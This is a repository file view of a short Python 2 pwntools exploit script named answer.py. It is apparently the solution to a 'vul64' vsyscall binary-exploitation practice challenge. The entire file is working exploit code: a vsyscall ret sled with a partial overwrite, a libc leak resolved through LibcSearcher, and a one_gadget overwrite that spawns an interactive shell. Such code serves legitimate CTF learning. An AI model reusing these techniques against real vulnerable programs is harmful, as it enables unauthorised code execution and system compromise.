Files
pwn-learning/VSyscall/vul64/answer.py
2022-01-28 12:25:41 +08:00

29 lines
648 B
Python

#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import *
import os
import time
import struct
context(arch = "amd64",os = "linux", log_level = "debug")
p = process('./vul64')
elf = ELF('./vul64')
# gdb.attach(p, "")
ret_addr = 0xffffffffff600400
p.send(p64(ret_addr) * 30 + '\x2c')
p.recvuntil("I have a gift for yoooou\n")
write_libc = u64(p.recv(8))
p.recvuntil("Want my flag? Keep going!\n")
libc = LibcSearcher('write', write_libc)
libc_base = write_libc - libc.dump('write')
one_gadget_libc = libc_base + 0x4f3d5 # one_gadget Shift
p.send('0' * 0x33 + '\x47' + p64(one_gadget_libc) + '\n')
p.interactive()